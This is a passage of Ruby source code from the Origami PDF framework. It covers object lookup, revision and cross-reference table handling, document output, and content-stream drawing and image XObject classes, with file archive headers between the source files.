pattern.is_a?(::String) ? Regexp.new(Regexp.escape(pattern)) : pattern end objects(:only_keys => true).each do |key| if patterns.any?{ |pattern| key.value.to_s.match(pattern) } value = key.parent[key] result << ( value.is_a?(Reference) ? value.solve : value ) end end result end # # Returns an array of Objects whose name (in a Dictionary) is matching _pattern_. # Do not follow references. # def ls_no_follow(*patterns) return objects(:include_keys => false) if patterns.empty? result = [] patterns.map! do |pattern| pattern.is_a?(::String) ? Regexp.new(Regexp.escape(pattern)) : pattern end objects(:only_keys => true).each do |key| if patterns.any?{ |pattern| key.value.to_s.match(pattern) } value = key.parent[key] result << value end end result end # # Returns an array of objects matching specified block. # def find(params = {}, &b) options = { :only_indirect => false } options.update(params) objset = (options[:only_indirect] == true) ? self.indirect_objects : self.objects objset.find_all(&b) end # # Returns an array of objects embedded in the PDF body. # _include_objstm_:: Whether it shall return objects embedded in object streams. # Note : Shall return to an iterator for Ruby 1.9 comp. # def objects(params = {}) def append_subobj(root, objset, opts) if objset.find{ |o| root.equal?(o) }.nil? objset << root unless opts[:only_keys] if root.is_a?(Dictionary) root.each_pair { |name, value| objset << name if opts[:only_keys] append_subobj(name, objset, opts) if opts[:include_keys] and not opts[:only_keys] append_subobj(value, objset, opts) } elsif root.is_a?(Array) or (root.is_a?(ObjectStream) and opts[:include_objectstreams]) root.each { |subobj| append_subobj(subobj, objset, opts) } end end end options = { :include_objectstreams => true, :include_keys => true, :only_keys => false } options.update(params) options[:include_keys] |= options[:only_keys] objset = [] @revisions.each do |revision| revision.objects.each do |object| append_subobj(object, objset, options) end end objset end # # Return an array of indirect objects. # def indirect_objects @revisions.inject([]) do |set, rev| set.concat(rev.objects) end end alias :root_objects :indirect_objects # # Adds a new object to the PDF file. # If this object has no version number, then a new one will be automatically computed and assignated to him. # It returns a Reference to this Object. # _object_:: The object to add. # def <<(object) owner = object.pdf # # Does object belongs to another PDF ? # if owner and not owner.equal?(self) import object else add_to_revision(object, @revisions.last) end end alias :insert :<< # # Similar to PDF#insert or PDF#<<, but for an object belonging to another document. # Object will be recursively copied and new version numbers will be assigned. # Returns the new reference to the imported object. # _object_:: The object to import. # def import(object) self.insert(object.export) end # # Adds a new object to a specific revision. # If this object has no version number, then a new one will be automatically computed and assignated to him. # It returns a Reference to this Object. # _object_:: The object to add. # _revision_:: The revision to add the object to. # def add_to_revision(object, revision) object.set_indirect(true) object.set_pdf(self) object.no, object.generation = alloc_new_object_number if object.no == 0 revision.body[object.reference] = object object.reference end # # Ends the current Revision, and starts a new one. # def add_new_revision root = @revisions.last.trailer[:Root] unless @revisions.empty? @revisions << Revision.new(self) @revisions.last.trailer = Trailer.new @revisions.last.trailer.Root = root self end # # Removes a whole document revision. # _index_:: Revision index, first is 0. # def remove_revision(index) if index < 0 or index > @revisions.size raise IndexError, "Not a valid revision index" end if @revisions.size == 1 raise InvalidPDFError, "Cannot remove last revision" end @revisions.delete_at(index) self end # # Looking for an object present at a specified file offset. # def get_object_by_offset(offset) #:nodoc: self.indirect_objects.find { |obj| obj.file_offset == offset } end # # Remove an object. # def delete_object(no, generation = 0) case no when Reference target = no when ::Integer target = Reference.new(no, generation) else raise TypeError, "Invalid parameter type : #{no.class}" end @revisions.each do |rev| rev.body.delete(target) end end # # Search for an indirect object in the document. # _no_:: Reference or number of the object. # _generation_:: Object generation. # def get_object(no, generation = 0, use_xrefstm = true) #:nodoc: case no when Reference target = no when ::Integer target = Reference.new(no, generation) when Origami::Object return no else raise TypeError, "Invalid parameter type : #{no.class}" end # # Search through accessible indirect objects. # @revisions.each do |rev| return rev.body[target] if rev.body.include?(target) end # Look into XRef streams. if use_xrefstm == true if @revisions.last.has_xrefstm? xrefstm = @revisions.last.xrefstm done = [] while xrefstm.is_a?(XRefStream) and not done.include?(xrefstm) xref = xrefstm.find(target.refno) # # We found a matching XRef. # if xref.is_a?(XRefToCompressedObj) objstm = get_object(xref.objstmno, 0, false) object = objstm.extract_by_index(xref.index) if object.is_a?(Origami::Object) and object.no == target.refno return object else return objstm.extract(target.refno) end elsif xrefstm.has_field?(:Prev) done << xrefstm xrefstm = get_object_by_offset(xrefstm.Prev) else break end end end # # Lastly search directly into Object streams (might be very slow). # @revisions.each do |rev| streams = rev.objects.find_all{|obj| obj.is_a?(ObjectStream) and obj.include?(target.refno)} return streams.first.extract(target.refno) unless streams.empty? end nil end end alias :[] :get_object def cast_object(reference, type) #:nodoc: @revisions.each do |rev| if rev.body.include?(reference) and type < rev.body[reference].class rev.body[reference] = rev.body[reference].cast_to(type) end end end # # Returns a new number/generation for future object. # def alloc_new_object_number no = 1 # Deprecated number allocation policy (first available) #no = no + 1 while get_object(no) objset = self.indirect_objects self.indirect_objects.find_all{|obj| obj.is_a?(ObjectStream)}.each do |objstm| objstm.each{|obj| objset << obj} end allocated = objset.collect{|obj| obj.no}.compact no = allocated.max + 1 unless allocated.empty? [ no, 0 ] end ########################## private ########################## # # Compute and update XRef::Section for each Revision. # def rebuildxrefs size = 0 startxref = @header.to_s.size @revisions.each do |revision| revision.objects.each do |object| startxref += object.to_s.size end size += revision.body.size revision.xreftable = buildxrefs(revision.objects) revision.trailer ||= Trailer.new revision.trailer.Size = size + 1 revision.trailer.startxref = startxref startxref += revision.xreftable.to_s.size + revision.trailer.to_s.size end self end # # This method is meant to recompute, verify and correct main PDF structures, in order to output a proper file. # * Allocates objects references. # * Sets some objects missing required values. # def compile(options = {}) # # A valid document must have at least one page. # append_page if pages.empty? # # Allocates object numbers and creates references. # Invokes object finalization methods. # if self.is_a?(Encryption::EncryptedDocument) physicalize(options) else physicalize end # # Sets the PDF version header. # version, level = version_required @header.majorversion = version[0,1].to_i @header.minorversion = version[2,1].to_i set_extension_level(version, level) if level > 0 self end # # Cleans the document from its references. # Indirects objects are made direct whenever possible. # TODO: Circuit-checking to avoid infinite induction # def logicalize #:nodoc: fail "Not yet supported" processed = [] def convert(root) #:nodoc: replaced = [] if root.is_a?(Dictionary) or root.is_a?(Array) root.each { |obj| convert(obj) } root.map! { |obj| if obj.is_a?(Reference) target = obj.solve # Streams can't be direct objects if target.is_a?(Stream) obj else replaced << obj target end else obj end } end replaced end @revisions.each do |revision| revision.objects.each do |obj| processed.concat(convert(obj)) end end end # # Converts a logical PDF view into a physical view ready for writing. # def physicalize # # Indirect objects are added to the revision and assigned numbers. # def build(obj, revision) #:nodoc: # # Finalize any subobjects before building the stream. # if obj.is_a?(ObjectStream) obj.each do |subobj| build(subobj, revision) end end obj.pre_build if obj.is_a?(Dictionary) or obj.is_a?(Array) obj.map! do |subobj| if subobj.is_indirect? if get_object(subobj.reference) subobj.reference else ref = add_to_revision(subobj, revision) build(subobj, revision) ref end else subobj end end obj.each do |subobj| build(subobj, revision) end elsif obj.is_a?(Stream) build(obj.dictionary, revision) end obj.post_build end indirect_objects_by_rev.each do |obj, revision| build(obj, revision) end self end # # Returns the final binary representation of the current document. # def output(params = {}) has_objstm = self.indirect_objects.any?{|obj| obj.is_a?(ObjectStream)} options = { :rebuildxrefs => true, :noindent => false, :obfuscate => false, :use_xrefstm => has_objstm, :use_xreftable => (not has_objstm), :up_to_revision => @revisions.size } options.update(params) options[:up_to_revision] = @revisions.size if options[:up_to_revision] > @revisions.size # Reset to default params if no xrefs are chosen (hybrid files not supported yet) if options[:use_xrefstm] == options[:use_xreftable] options[:use_xrefstm] = has_objstm options[:use_xreftable] = (not has_objstm) end # Get trailer dictionary trailer_info = get_trailer_info if trailer_info.nil? raise InvalidPDFError, "No trailer information found" end trailer_dict = trailer_info.dictionary prev_xref_offset = nil xrefstm_offset = nil xreftable_offset = nil # Header bin = "" bin << @header.to_s # For each revision @revisions[0, options[:up_to_revision]].each do |rev| # Create xref table/stream. if options[:rebuildxrefs] == true lastno_table, lastno_stm = 0, 0 brange_table, brange_stm = 0, 0 xrefs_stm = [ XRef.new(0, 0, XRef::FREE) ] xrefs_table = [ XRef.new(0, XRef::FIRSTFREE, XRef::FREE) ] if options[:use_xreftable] == true xrefsection = XRef::Section.new end if options[:use_xrefstm] == true xrefstm = rev.xrefstm || XRefStream.new if xrefstm == rev.xrefstm xrefstm.clear else add_to_revision(xrefstm, rev) end end end objset = rev.objects objset.find_all{|obj| obj.is_a?(ObjectStream)}.each do |objstm| objset.concat objstm.objects end if options[:rebuildxrefs] == true and options[:use_xrefstm] == true # For each object, in number order objset.sort.each do |obj| # Create xref entry. if options[:rebuildxrefs] == true # Adding subsections if needed if options[:use_xreftable] and (obj.no - lastno_table).abs > 1 xrefsection << XRef::Subsection.new(brange_table, xrefs_table) xrefs_table.clear brange_table = obj.no end if options[:use_xrefstm] and (obj.no - lastno_stm).abs > 1 xrefs_stm.each do |xref| xrefstm << xref end xrefstm.Index ||= [] xrefstm.Index << brange_stm << xrefs_stm.length xrefs_stm.clear brange_stm = obj.no end # Process embedded objects if options[:use_xrefstm] and obj.parent != obj and obj.parent.is_a?(ObjectStream) index = obj.parent.index(obj.no) xrefs_stm << XRefToCompressedObj.new(obj.parent.no, index) lastno_stm = obj.no else xrefs_stm << XRef.new(bin.size, obj.generation, XRef::USED) xrefs_table << XRef.new(bin.size, obj.generation, XRef::USED) lastno_table = lastno_stm = obj.no end end if obj.parent == obj or not obj.parent.is_a?(ObjectStream) # Finalize XRefStm if options[:rebuildxrefs] == true and options[:use_xrefstm] == true and obj == xrefstm xrefstm_offset = bin.size xrefs_stm.each do |xref| xrefstm << xref end xrefstm.W = [ 1, (xrefstm_offset.to_s(2).size + 7) >> 3, 2 ] if xrefstm.DecodeParms.is_a?(Dictionary) and xrefstm.DecodeParms.has_key?(:Columns) xrefstm.DecodeParms[:Columns] = xrefstm.W[0] + xrefstm.W[1] + xrefstm.W[2] end xrefstm.Index ||= [] xrefstm.Index << brange_stm << xrefs_stm.size xrefstm.dictionary = xrefstm.dictionary.merge(trailer_dict) xrefstm.Prev = prev_xref_offset rev.trailer.dictionary = nil add_to_revision(xrefstm, rev) xrefstm.pre_build xrefstm.post_build end # Output object code if (obj.is_a?(Dictionary) or obj.is_a?(Stream)) and options[:noindent] bin << obj.to_s(0) else bin << obj.to_s end end end rev.trailer ||= Trailer.new # XRef table if options[:rebuildxrefs] == true if options[:use_xreftable] == true table_offset = bin.size xrefsection << XRef::Subsection.new(brange_table, xrefs_table) rev.xreftable = xrefsection rev.trailer.dictionary = trailer_dict rev.trailer.Size = objset.size + 1 rev.trailer.Prev = prev_xref_offset rev.trailer.XRefStm = xrefstm_offset if options[:use_xrefstm] == true end startxref = options[:use_xreftable] == true ? table_offset : xrefstm_offset rev.trailer.startxref = prev_xref_offset = startxref end # end each rev # Trailer bin << rev.xreftable.to_s if options[:use_xreftable] == true bin << (options[:obfuscate] == true ? rev.trailer.to_obfuscated_str : rev.trailer.to_s) end bin end # # Instanciates basic structures required for a valid PDF file. # def init catalog = (self.Catalog = (get_doc_attr(:Root) || Catalog.new)) catalog.Pages = PageTreeNode.new.set_indirect(true) @revisions.last.trailer.Root = catalog.reference self end def filesize #:nodoc: output(:rebuildxrefs => false).size end def version_required #:nodoc: max = [ 1.0, 0 ] @revisions.each { |revision| revision.objects.each { |object| current = object.pdf_version_required max = current if (current <=> max) > 0 } } max[0] = max[0].to_s max end def indirect_objects_by_rev #:nodoc: @revisions.inject([]) do |set,rev| objset = rev.objects set.concat(objset.zip(::Array.new(objset.length, rev))) end end # # Compute and update XRef::Section for each Revision. # def rebuild_dummy_xrefs #:nodoc def build_dummy_xrefs(objects) lastno = 0 brange = 0 xrefs = [ XRef.new(0, XRef::FIRSTFREE, XRef::FREE) ] xrefsection = XRef::Section.new objects.sort.each { |object| if (object.no - lastno).abs > 1 xrefsection << XRef::Subsection.new(brange, xrefs) brange = object.no xrefs.clear end xrefs << XRef.new(0, 0, XRef::FREE) lastno = object.no } xrefsection << XRef::Subsection.new(brange, xrefs) xrefsection end size = 0 startxref = @header.to_s.size @revisions.each do |revision| revision.objects.each do |object| startxref += object.to_s.size end size += revision.body.size revision.xreftable = build_dummy_xrefs(revision.objects) revision.trailer ||= Trailer.new revision.trailer.Size = size + 1 revision.trailer.startxref = startxref startxref += revision.xreftable.to_s.size + revision.trailer.to_s.size end self end # # Build a xref section from a set of objects. # def buildxrefs(objects) #:nodoc: lastno = 0 brange = 0 xrefs = [ XRef.new(0, XRef::FIRSTFREE, XRef::FREE) ] xrefsection = XRef::Section.new objects.sort.each { |object| if (object.no - lastno).abs > 1 xrefsection << XRef::Subsection.new(brange, xrefs) brange = object.no xrefs.clear end xrefs << XRef.new(get_object_offset(object.no, object.generation), object.generation, XRef::USED) lastno = object.no } xrefsection << XRef::Subsection.new(brange, xrefs) xrefsection end def delete_revision(ngen) #:nodoc: @revisions.delete_at[ngen] end def get_revision(ngen) #:nodoc: @revisions[ngen].body end def get_object_offset(no,generation) #:nodoc: objectoffset = @header.to_s.size @revisions.each do |revision| revision.objects.sort.each do |object| if object.no == no and object.generation == generation then return objectoffset else objectoffset += object.to_s.size end end objectoffset += revision.xreftable.to_s.size objectoffset += revision.trailer.to_s.size end nil end end end origami-pdf-1.2.7/lib/origami/graphics/0000755000175000017500000000000012427006355020132 5ustar terceiroterceiroorigami-pdf-1.2.7/lib/origami/graphics/render.rb0000644000175000017500000000267612101464040021735 0ustar terceiroterceiro=begin = File graphics/render.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Graphics module Canvas attr_reader :gs def initialize @gs = Graphics::State.new end def clear @gs.reset end def write_text(s); end def stroke_path; end def fill_path; end end class DummyCanvas include Canvas end class TextCanvas include Canvas def initialize(output = STDOUT, columns = 80, lines = 25) super() @output = output @columns, @lines = columns, lines end def write_text(s) @output.print(s) end end end end origami-pdf-1.2.7/lib/origami/graphics/xobject.rb0000644000175000017500000006667212144406641022134 0ustar terceiroterceiro=begin = File graphics/xobject.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami # # A class representing a Stream containing the contents of a Page. # class ContentStream < Stream DEFAULT_SIZE = 12 DEFAULT_FONT = :F1 DEFAULT_LEADING = 20 DEFAULT_STROKE_COLOR = Graphics::Color::GrayScale.new(0.0) DEFAULT_FILL_COLOR = Graphics::Color::GrayScale.new(1.0) DEFAULT_LINECAP = Graphics::LineCapStyle::BUTT_CAP DEFAULT_LINEJOIN = Graphics::LineJoinStyle::MITER_JOIN DEFAULT_DASHPATTERN = Graphics::DashPattern.new([], 0) DEFAULT_LINEWIDTH = 1.0 attr_reader :instructions attr_accessor :canvas def initialize(rawdata = "", dictionary = {}) @instructions = nil @canvas = Graphics::DummyCanvas.new super(rawdata, dictionary) end def render(engine) load! if @instructions.nil? @instructions.each do |instruction| instruction.render(engine) end nil end def pre_build #:nodoc: load! if @instructions.nil? if @canvas.gs.text_state.is_in_text_object? @instructions << PDF::Instruction.new('ET').render(@canvas) end @data = @instructions.join super end def instructions load! if @instructions.nil? @instructions end def draw_image(name, attr = {}) load! if @instructions.nil? x, y = attr[:x], attr[:y] @instructions << PDF::Instruction.new('q') @instructions << PDF::Instruction.new('cm', 300, 0, 0, 300, x, y) @instructions << PDF::Instruction.new('Do', name) @instructions << PDF::Instruction.new('Q') end # # Draw a straight line from the point at coord _from_, to the point at coord _to_. # def draw_line(from, to, attr = {}) draw_polygon([from, to], attr) end # # Draw a polygon from a array of coordinates. # def draw_polygon(coords = [], attr = {}) load! if @instructions.nil? stroke_color = attr[:stroke_color] || DEFAULT_STROKE_COLOR fill_color = attr[:fill_color] || DEFAULT_FILL_COLOR line_cap = attr[:line_cap] || DEFAULT_LINECAP line_join = attr[:line_join] || DEFAULT_LINEJOIN line_width = attr[:line_width] || DEFAULT_LINEWIDTH dash_pattern = attr[:dash] || DEFAULT_DASHPATTERN stroke = attr[:stroke].nil? ? true : attr[:stroke] fill = attr[:fill].nil? ? false : attr[:fill] stroke = true if fill == false and stroke == false set_fill_color(fill_color) if fill set_stroke_color(stroke_color) if stroke set_line_width(line_width) set_line_cap(line_cap) set_line_join(line_join) set_dash_pattern(dash_pattern) if @canvas.gs.text_state.is_in_text_object? @instructions << PDF::Instruction.new('ET').render(@canvas) end unless coords.size < 1 x,y = coords.slice!(0) @instructions << PDF::Instruction.new('m',x,y).render(@canvas) coords.each do |px,py| @instructions << PDF::Instruction.new('l',px,py).render(@canvas) end @instructions << (i = if stroke and not fill PDF::Instruction.new('s') elsif fill and not stroke PDF::Instruction.new('f') elsif fill and stroke PDF::Instruction.new('b') end ) i.render(@canvas) end self end # # Draw a rectangle at position (_x_,_y_) with defined _width_ and _height_. # def draw_rectangle(x, y, width, height, attr = {}) load! if @instructions.nil? stroke_color = attr[:stroke_color] || DEFAULT_STROKE_COLOR fill_color = attr[:fill_color] || DEFAULT_FILL_COLOR line_cap = attr[:line_cap] || DEFAULT_LINECAP line_join = attr[:line_join] || DEFAULT_LINEJOIN line_width = attr[:line_width] || DEFAULT_LINEWIDTH dash_pattern = attr[:dash] || DEFAULT_DASHPATTERN stroke = attr[:stroke].nil? ? true : attr[:stroke] fill = attr[:fill].nil? ? false : attr[:fill] stroke = true if fill == false and stroke == false set_fill_color(fill_color) if fill set_stroke_color(stroke_color) if stroke set_line_width(line_width) set_line_cap(line_cap) set_line_join(line_join) set_dash_pattern(dash_pattern) if @canvas.gs.text_state.is_in_text_object? @instructions << PDF::Instruction.new('ET').render(@canvas) end @instructions << PDF::Instruction.new('re', x,y,width,height).render(@canvas) @instructions << (i = if stroke and not fill PDF::Instruction.new('S') elsif fill and not stroke PDF::Instruction.new('f') elsif fill and stroke PDF::Instruction.new('B') end ) i.render(@canvas) self end # # Adds text to the content stream with custom formatting attributes. # _text_:: Text to write. # _attr_:: Formatting attributes. # def write(text, attr = {}) load! if @instructions.nil? x,y = attr[:x], attr[:y] font = attr[:font] || DEFAULT_FONT size = attr[:size] || DEFAULT_SIZE leading = attr[:leading] || DEFAULT_LEADING color = attr[:color] || attr[:fill_color] || DEFAULT_STROKE_COLOR stroke_color = attr[:stroke_color] || DEFAULT_STROKE_COLOR line_width = attr[:line_width] || DEFAULT_LINEWIDTH word_spacing = attr[:word_spacing] char_spacing = attr[:char_spacing] scale = attr[:scale] rise = attr[:rise] rendering = attr[:rendering] @instructions << PDF::Instruction.new('ET').render(@canvas) if (x or y) and @canvas.gs.text_state.is_in_text_object? unless @canvas.gs.text_state.is_in_text_object? @instructions << PDF::Instruction.new('BT').render(@canvas) end set_text_font(font, size) set_text_pos(x, y) if x or y set_text_leading(leading) if leading set_text_rendering(rendering) if rendering set_text_rise(rise) if rise set_text_scale(scale) if scale set_text_word_spacing(word_spacing) if word_spacing set_text_char_spacing(char_spacing) if char_spacing set_fill_color(color) set_stroke_color(stroke_color) set_line_width(line_width) write_text_block(text) self end def paint_shading(shade) load! if @instructions.nil? @instructions << PDF::Instruction.new('sh', shade).render(@canvas) self end def set_text_font(fontname, size) load! if @instructions.nil? if fontname != @canvas.gs.text_state.font or size != @canvas.gs.text_state.font_size @instructions << PDF::Instruction.new('Tf', fontname, size).render(@canvas) end self end def set_text_pos(tx,ty) load! if @instructions.nil? @instructions << PDF::Instruction.new('Td', tx, ty).render(@canvas) self end def set_text_leading(leading) load! if @instructions.nil? if leading != @canvas.gs.text_state.leading @instructions << PDF::Instruction.new('TL', leading).render(@canvas) end self end def set_text_rendering(rendering) load! if @instructions.nil? if rendering != @canvas.gs.text_state.rendering_mode @instructions << PDF::Instruction.new('Tr', rendering).render(@canvas) end self end def set_text_rise(rise) load! if @instructions.nil? if rise != @canvas.gs.text_state.text_rise @instructions << PDF::Instruction.new('Ts', rise).render(@canvas) end self end def set_text_scale(scaling) load! if @instructions.nil? if scale != @canvas.gs.text_state.scaling @instructions << PDF::Instruction.new('Tz', scaling).render(@canvas) end self end def set_text_word_spacing(word_spacing) load! if @instructions.nil? if word_spacing != @canvas.gs.text_state.word_spacing @instructions << PDF::Instruction.new('Tw', word_spacing).render(@canvas) end self end def set_text_char_spacing(char_spacing) load! if @instructions.nil? if char_spacing != @canvas.gs.text_state.char_spacing @instructions << PDF::Instruction.new('Tc', char_spacing).render(@canvas) end self end def set_fill_color(color) load! if @instructions.nil? @instructions << ( i = if (color.respond_to? :r and color.respond_to? :g and color.respond_to? :b) or (color.is_a?(::Array) and color.size == 3) r = (color.respond_to?(:r) ? color.r : color[0]).to_f / 255 g = (color.respond_to?(:g) ? color.g : color[1]).to_f / 255 b = (color.respond_to?(:b) ? color.b : color[2]).to_f / 255 PDF::Instruction.new('rg', r, g, b) if @canvas.gs.nonstroking_color != [r,g,b] elsif (color.respond_to? :c and color.respond_to? :m and color.respond_to? :y and color.respond_to? :k) or (color.is_a?(::Array) and color.size == 4) c = (color.respond_to?(:c) ? color.c : color[0]).to_f m = (color.respond_to?(:m) ? color.m : color[1]).to_f y = (color.respond_to?(:y) ? color.y : color[2]).to_f k = (color.respond_to?(:k) ? color.k : color[3]).to_f PDF::Instruction.new('k', c, m, y, k) if @canvas.gs.nonstroking_color != [c,m,y,k] elsif color.respond_to?:g or (0.0..1.0) === color g = color.respond_to?(:g) ? color.g : color PDF::Instruction.new('g', g) if @canvas.gs.nonstroking_color != [ g ] else raise TypeError, "Invalid color : #{color}" end ) i.render(@canvas) if i self end def set_stroke_color(color) load! if @instructions.nil? @instructions << ( i = if (color.respond_to? :r and color.respond_to? :g and color.respond_to? :b) or (color.is_a?(::Array) and color.size == 3) r = (color.respond_to?(:r) ? color.r : color[0]).to_f / 255 g = (color.respond_to?(:g) ? color.g : color[1]).to_f / 255 b = (color.respond_to?(:b) ? color.b : color[2]).to_f / 255 PDF::Instruction.new('RG', r, g, b) if @canvas.gs.stroking_color != [r,g,b] elsif (color.respond_to? :c and color.respond_to? :m and color.respond_to? :y and color.respond_to? :k) or (color.is_a?(::Array) and color.size == 4) c = (color.respond_to?(:c) ? color.c : color[0]).to_f m = (color.respond_to?(:m) ? color.m : color[1]).to_f y = (color.respond_to?(:y) ? color.y : color[2]).to_f k = (color.respond_to?(:k) ? color.k : color[3]).to_f PDF::Instruction.new('K', c, m, y, k) if @canvas.gs.stroking_color != [c,m,y,k] elsif color.respond_to?:g or (0.0..1.0) === color g = color.respond_to?(:g) ? color.g : color PDF::Instruction.new('G', g) if @canvas.gs.stroking_color != [ g ] else raise TypeError, "Invalid color : #{color}" end ) i.render(@canvas) if i self end def set_dash_pattern(pattern) load! if @instructions.nil? unless @canvas.gs.dash_pattern.eql? pattern @instructions << PDF::Instruction.new('d', pattern.array, pattern.phase).render(@canvas) end self end def set_line_width(width) load! if @instructions.nil? if @canvas.gs.line_width != width @instructions << PDF::Instruction.new('w', width).render(@canvas) end self end def set_line_cap(cap) load! if @instructions.nil? if @canvas.gs.line_cap != cap @instructions << PDF::Instruction.new('J', cap).render(@canvas) end self end def set_line_join(join) load! if @instructions.nil? if @canvas.gs.line_join != join @instructions << PDF::Instruction.new('j', join).render(@canvas) end self end private def load! decode! code = StringScanner.new self.data @instructions = [] until code.eos? insn = PDF::Instruction.parse(code) @instructions << insn if insn end self end def write_text_block(text) lines = text.split("\n").map!{|line| line.to_s} @instructions << PDF::Instruction.new('Tj', lines.slice!(0)).render(@canvas) lines.each do |line| @instructions << PDF::Instruction.new("'", line).render(@canvas) end end end #class ContentStream class Page < Dictionary def render(engine) #:nodoc: contents = self.Contents contents = [ contents ] unless contents.is_a? Array contents.each do |stream| stream = stream.cast_to(ContentStream) unless stream.is_a? ContentStream stream.render(engine) end end # TODO :nodoc: def draw_image raise NotImplementedError end # See ContentStream#draw_line. def draw_line(from, to, attr = {}) last_content_stream.draw_line(from, to, attr); self end # See ContentStream#draw_polygon. def draw_polygon(coords = [], attr = {}) last_content_stream.draw_polygon(coords, attr); self end # See ContentStream#draw_rectangle. def draw_rectangle(x, y, width, height, attr = {}) last_content_stream.draw_rectangle(x, y, width, height, attr); self end # See ContentStream#write. def write(text, attr = {}) last_content_stream.write(text, attr); self end # TODO :nodoc: def paint_shading(shade) raise NotImplementedError end # TODO :nodoc: def set_text_font(font, size) raise NotImplementedError end # See ContentStream#set_text_pos. def set_text_pos(tx, ty) last_content_stream.set_text_pos(tx, ty); self end # See ContentStream#set_text_leading. def set_text_leading(leading) last_content_stream.set_text_leading(leading); self end # See ContentStream#set_text_rendering. def set_text_rendering(rendering) last_content_stream.set_text_rendering(rendering); self end # See ContentStream#set_text_rise. def set_text_rise(rise) last_content_stream.set_text_rise(rise); self end # See ContentStream#set_text_scale. def set_text_scale(scaling) last_content_stream.set_text_scale(scaling); self end # See ContentStream#set_text_word_spacing. def set_text_word_spacing(word_spacing) last_content_stream.set_text_word_spacing(word_spacing); self end # See ContentStream#set_text_char_spacing. def set_text_char_spacing(char_spacing) last_content_stream.set_text_char_spacing(char_spacing); self end # See ContentStream#set_fill_color. def set_fill_color(color) last_content_stream.set_fill_color(color); self end # See ContentStream#set_stroke_color. def set_stroke_color(color) last_content_stream.set_stroke_color(color); self end # See ContentStream#set_dash_pattern. def set_dash_pattern(pattern) last_content_stream.set_dash_pattern(pattern); self end # See ContentStream#set_line_width. def set_line_width(width) last_content_stream.set_line_width(width); self end # See ContentStream#set_line_cap. def set_line_cap(cap) last_content_stream.set_line_cap(cap); self end # See ContentStream#set_line_join. def set_line_join(join) last_content_stream.set_line_join(join); self end private def last_content_stream #:nodoc: contents = (self.Contents ||= ContentStream.new) contents.is_a?(Array) ? contents.last : contents end end # class Page module Graphics module XObject def self.included(receiver) receiver.field :Type, :Type => Name, :Default => :XObject end end class FormXObject < ContentStream include XObject include ResourcesHolder field :Subtype, :Type => Name, :Default => :Form, :Required => true field :FormType, :Type => Integer, :Default => 1 field :BBox, :Type => Array, :Required => true field :Matrix, :Type => Array, :Default => [1, 0, 0, 1, 0, 0] field :Resources, :Type => Resources, :Version => "1.2" field :Group, :Type => Dictionary, :Version => "1.4" field :Ref, :Type => Dictionary, :Version => "1.4" field :Metadata, :Type => Stream, :Version => "1.4" field :PieceInfo, :Type => Dictionary, :Version => "1.3" field :LastModified, :Type => String, :Version => "1.3" field :StructParent, :Type => Integer, :Version => "1.3" field :StructParents, :Type => Integer, :Version => "1.3" field :OPI, :Type => Dictionary, :Version => "1.2" field :OC, :Type => Dictionary, :Version => "1.5" field :Name, :Type => Name field :Measure, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :PtData, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 def pre_build self.Resources = Resources.new.pre_build unless has_field?(:Resources) super end end class ImageXObject < Stream include XObject field :Subtype, :Type => Name, :Default => :Image, :Required => true field :Width, :Type => Integer, :Required => true field :Height, :Type => Integer, :Required => true field :ColorSpace, :Type => [ Name, Array ] field :BitsPerComponent, :Type => Integer field :Intent, :Type => Name, :Version => "1.1" field :ImageMask, :Type => Boolean, :Default => false field :Mask, :Type => [ Stream, Array ], :Version => "1.3" field :Decode, :Type => Array field :Interpolate, :Type => Boolean, :Default => false field :Alternates, :Type => Array, :Version => "1.3" field :SMask, :Type => Stream, :Version => "1.4" field :SMaskInData, :Type => Integer, :Default => 0, :Version => "1.5" field :Name, :Type => Name field :StructParent, :Type => Integer, :Version => "1.3" field :ID, :Type => String, :Version => "1.3" field :OPI, :Type => Dictionary, :Version => "1.2" field :Metadata, :Type => Stream, :Version => "1.4" field :OC, :Type => Dictionary, :Version => "1.5" field :Measure, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :PtData, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 def self.from_image_file(path, format = nil) if path.respond_to?(:read) fd = path else fd = File.open(File.expand_path(path), 'r').binmode format ||= File.extname(path) format.slice!(0) if format and format[0,1] == '.' end if ''.respond_to? :force_encoding data = fd.read.force_encoding('binary') # 1.9 else data = fd.read end fd.close image = ImageXObject.new raise ArgumentError, "Missing file format" if format.nil? case format.downcase when 'jpg', 'jpeg', 'jpe', 'jif', 'jfif', 'jfi' image.setFilter :DCTDecode image.rawdata = data image when 'jp2','jpx','j2k','jpf','jpm','mj2' image.setFilter :JPXDecode image.rawdata = data image when 'jb2', 'jbig', 'jbig2' image.setFilter :JBIG2Decode image.rawdata = data image else raise NotImplementedError, "Unknown file format: '#{format}'" end end # # Converts an ImageXObject stream into an image file data. # Output format depends on the stream encoding: # * JPEG for DCTDecode # * JPEG2000 for JPXDecode # * JBIG2 for JBIG2Decode # * PNG for everything else # # Returns an array of the form [ _format_, _data_ ] # def to_image_file encoding = self.Filter encoding = encoding[0] if encoding.is_a? ::Array case (encoding && encoding.value) when :DCTDecode then [ 'jpg', self.data ] when :JBIG2Decode then [ 'jbig2', self.data ] when :JPXDecode then [ 'jp2', self.data ] else raise InvalidColorError, "No colorspace specified" unless self.ColorSpace case cs = self.ColorSpace.value when Color::Space::DEVICE_GRAY colortype = 0 components = 1 when Color::Space::DEVICE_RGB colortype = 2 components = 3 when ::Array cstype = cs[0].is_a?(Reference) ? cs[0].solve : cs[0] case cstype.value when 